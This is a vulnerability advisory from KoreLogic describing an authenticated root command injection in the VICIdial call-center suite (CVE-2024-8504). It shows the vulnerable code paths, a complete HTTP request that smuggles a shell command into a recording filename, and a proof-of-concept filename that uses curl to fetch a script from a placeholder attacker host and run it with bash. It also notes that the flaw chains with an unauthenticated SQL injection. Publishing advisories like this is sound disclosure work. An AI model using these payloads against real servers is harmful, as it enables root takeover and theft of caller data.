KL-001-2024-012: VICIdial Authenticated Remote Code Execution

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KL-001-2024-012: VICIdial Authenticated Remote Code Execution

Title: VICIdial Authenticated Remote Code Execution
Advisory ID: KL-001-2024-012
Publication Date: 2024-09-10
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt

1. Vulnerability Details

     Affected Vendor: VICIdial
     Affected Product: VICIdial
     Affected Version: 2.14-917a
     Platform: GNU/Linux
     CWE Classification: CWE-78: Improper Neutralization of Special
                         Elements used in an OS Command
                         ('OS Command Injection')
     CVE ID: CVE-2024-8504

2. Vulnerability Description

     An attacker with authenticated access to VICIdial as an "agent"
     can execute arbitrary shell commands as the "root" user. This
     attack can be chained with CVE-2024-8503 to execute arbitrary
     shell commands starting from an unauthenticated perspective.

3. Technical Description

     VICIdial is an open-source contact center suite, mainly used
     by call centers. The "vicidial.com" website boasts over 14,000
     registered installations. There is a public SVN repository to
     access the source code, as well as an ISO that can be used to
     install the software. The ISO was used in a virtual machine
     for testing purposes.

     Users can be added to specific "groups" that enable them to log
     into the "agent" web client if that group is associated with a
     "campaign".  This web client is for agents to manage inbound
     and outbound phone calls, displaying pertinent information
     regarding the "lead", such as the personal information of the
     individual on the other end of the call.

     An agent has the ability to record the phone call using the
     "START RECORDING" button. When clicked, an HTTP request is sent
     to the server which is processed by the "manager_send.php"
     PHP script. The "filename" parameter included in the request
     is sanitized with the "preg_replace" PHP function to prevent
     SQL injection, as shown by this snippet:

    if (isset($_GET["filename"])) {$filename=$_GET["filename"];}
    elseif (isset($_POST["filename"])) {$filename=$_POST["filename"];}
    ...
    $filename = preg_replace("/\'|\"|\\\\|;/","",$filename);

     The regular expression used to sanitize this parameter is
     very permissive, only removing single quotes, double quotes,
     backslashes, and semicolons.

     Later in the execution of "manager_send.php", the "filename"
     variable is added to a SQL database through an "INSERT"
     statement, along with other user-controlled variables such as
     "exten":

    $stmt="INSERT INTO vicidial_manager values('','','$NOW_TIME',
        'NEW','N','$server_ip','','Originate','$vmgr_callerid',
        'Channel: $channel','Context: $ext_context',
        'Exten: $exten','Priority: $ext_priority',
        'Callerid: $filename','','','','','');";
    if ($format=='debug') {echo "\n<!-- $stmt -->";}
    $rslt=mysql_to_mysqli($stmt, $link);

     On the server-side, an asyncronous cron job is executing the
     perl script "ADMIN_keepalive_ALL.pl":

    vicibox11:/ # crontab -l | grep keepalive
    ### keepalive script for astguiclient processes
    * * * * * /usr/share/astguiclient/ADMIN_keepalive_ALL.pl

     This perl script ensures several worker perl scripts
     are running.  Included in these worker perl scripts is
     "AST_manager_send.pl", as shown by this snippet from
     "ADMIN_keepalive_ALL.pl":

    if ($psline[1] =~ /AST_manager_se/)
      {
      $runningAST_send++;
      if ($DB) {print "AST_send RUNNING:   |$psline[1]|\n";}
      }
    ...
    if ( ($AST_send_listen > 0) && ($runningAST_send < 1) )
      {
      if ($DB) {print "starting AST_manager_send...\n";}
      # add a '-L' to the command below to activate logging
      `/usr/bin/screen -d -m -S ASTsend
        $PATHhome/AST_manager_send.pl $debug_string`;

     The "AST_manager_send.pl" script will continuously monitor the
     "vicidial_manager" table in the SQL database for records with
     the "status" column equal the string "NEW". Values from that
     row are then URL-encoded and used as command-line arguments
     to invoke the "AST_send_action_child.pl" perl script:

    while ($endless_loop > 0)
      {
      my $stmtA = "SELECT count(*) from
        vicidial_manager where server_ip = '"
        . $conf{VARserver_ip} . "' and status = 'NEW';";
      ...
      $originate_command .= $vdm->{cmd_line_e} . "\n"
        if ($vdm->{cmd_line_e});
      $originate_command .= $vdm->{cmd_line_f} . "\n"
        if ($vdm->{cmd_line_f});
      $originate_command .= $vdm->{cmd_line_g} . "\n"
        if ($vdm->{cmd_line_g});
      ...
      $vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
      $vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
      $vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
      ...
      $launch .= " --cmd_line_e=" . $vdm->{cmd_line_e}
        if ($vdm->{cmd_line_e});
      $launch .= " --cmd_line_f=" . $vdm->{cmd_line_f}
        if ($vdm->{cmd_line_f});
      $launch .= " --cmd_line_g=" . $vdm->{cmd_line_g}
        if ($vdm->{cmd_line_g});
      ...
      $launch .= " >> " . $conf{PATHlogs} . "/action_send." .  logDate()
        if ($SYSLOG);
      system($launch . ' &');

     The "AST_send_action_child.pl" will then initiate a telnet
     connection to the "Asterisk Call Manager" and issue various
     commands as they appear in the command-line arguments:

    my $tn = new Net::Telnet (Port => $telnet_port,
        Prompt => '/\r\n/',
        Output_record_separator => '',
        Errmode    => "return");
    ...
    $tn->open("$telnet_host");
    $tn->waitfor('/Asterisk Call Manager\//');
    ...
    $originate_command .= $cmd_line_e . "\n" if ($cmd_line_e);
    $originate_command .= $cmd_line_f . "\n" if ($cmd_line_f);
    $originate_command .= $cmd_line_g . "\n" if ($cmd_line_g);
    ...
    my @list_channels = $tn->cmd(String => $originate_command,
        Prompt => '/.*/');

     These commands are then processed by the Asterisk
     Management interface (AMI). The configuration file
     "extensions-vicidial.conf" contains useful information on
     how AMI processes the value of the user-controlled "Exten"
     command. The following is a relevant snippet:

    exten => 8309,1,Answer
    exten => 8309,2,Monitor(wav,${CALLERID(name)})
    exten => 8309,3,Wait(3600)
    exten => 8309,4,Hangup()
    ...

     When supplying an "Exten" value of "8309", the "Monitor"
     application is invoked, which will record the current call and
     write the recorded data into a file. The default directory
     is "/var/spool/asterisk/monitor". In this case, the name
     of the file is derived from the "CALLERID", which is also
     user-controlled.

     This can be leveraged by an attacker to write file names
     that contain malicious shell commands. Take for example the
     following HTTP request:

    POST /agc/manager_send.php HTTP/1.1
    Host: REDACTED
    Content-Length: 279
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi=

     Two files are created within the "/var/spool/asterisk/monitor"
     directory:

    vicibox11:/ # ls -l /var/spool/asterisk/monitor
    total 216
    -rw-r--r-- 1 root root 213164 May 30 05:30 \
        3133731337$(id>foobar.txt)-in.wav
    -rw-r--r-- 1 root root     44 May 30 05:30 \
        3133731337$(id>foobar.txt)-out.wav

     Additionally, the "AST_CRON_audio_1_move_VDonly.pl" perl script
     is executed every 3 minutes:

    vicibox11:/ # crontab -l | grep VDonly
    0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * * \
        /usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl

     This script searches for WAV/GSM files within the Asterisk
     monitor directory and uses the file names to execute several
     shell commands:

    foreach(@FILES)
      {
      ...
      $INfile = $FILES[$i];
      ...
      if (!$T)
        {
        `mv -f "$dir1/$INfile" "$dir2/$ALLfile"`;
        `rm -f "$dir1/$OUTfile"`;
        }

     The malicious file name is then inserted into the "mv"
     command. The attacker controlled "id" command is executed and
     the output is redirected to the file "foo.txt":

    vicibox11:/ # ls -l /root/foobar.txt
    -rw-r--r-- 1 root root 39 May 30 05:33 /root/foobar.txt

4. Mitigation and Remediation Recommendation

     This issue has been remediated in the public svn/trunk codebase,
     as of revision 3848 committed 2024-07-08.

5. Credit

     This vulnerability was discovered by Jaggar Henry of KoreLogic,
     Inc.

6. Disclosure Timeline

     2024-07-05 : KoreLogic requests security contact from
                  support () vicidial com.
     2024-07-08 : KoreLogic reports vulnerability details to VICIdial
                  contact.
     2024-07-08 : VICIdial notifies KoreLogic that the issue has been
                  remediated with revision 3848 in the public
                  Subversion repository.
     2024-07-11 : KoreLogic confirms this vulnerability has been
                  remediated. KoreLogic asks VICIdial if it is
                  appropriate to publicly disclose the vulnerability
                  details at this time.
     2024-07-11 : VICIdial requests four weeks of embargo in order to
                  upgrade supported customers.
     2024-08-05 : KoreLogic asks VICIdial if it is appropriate to
                  publicly disclose the vulnerability details at
                  this time.
     2024-08-09 : VICIdial requests an additional two weeks of
                  embargo.
     2024-09-10 : KoreLogic public disclosure.

7. Proof of Concept

     Instead of executing the "id" command, a malicious bash script
     can be downloaded and executing using the cURL utility. The following
     file name is an example:

         $(curl$IFS () attacker com$IFS-o$IFS.c&&bash$IFS.c)

     This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection)
     to execute arbitrary shell commands as the root user from an unauthenticated
     perspective:

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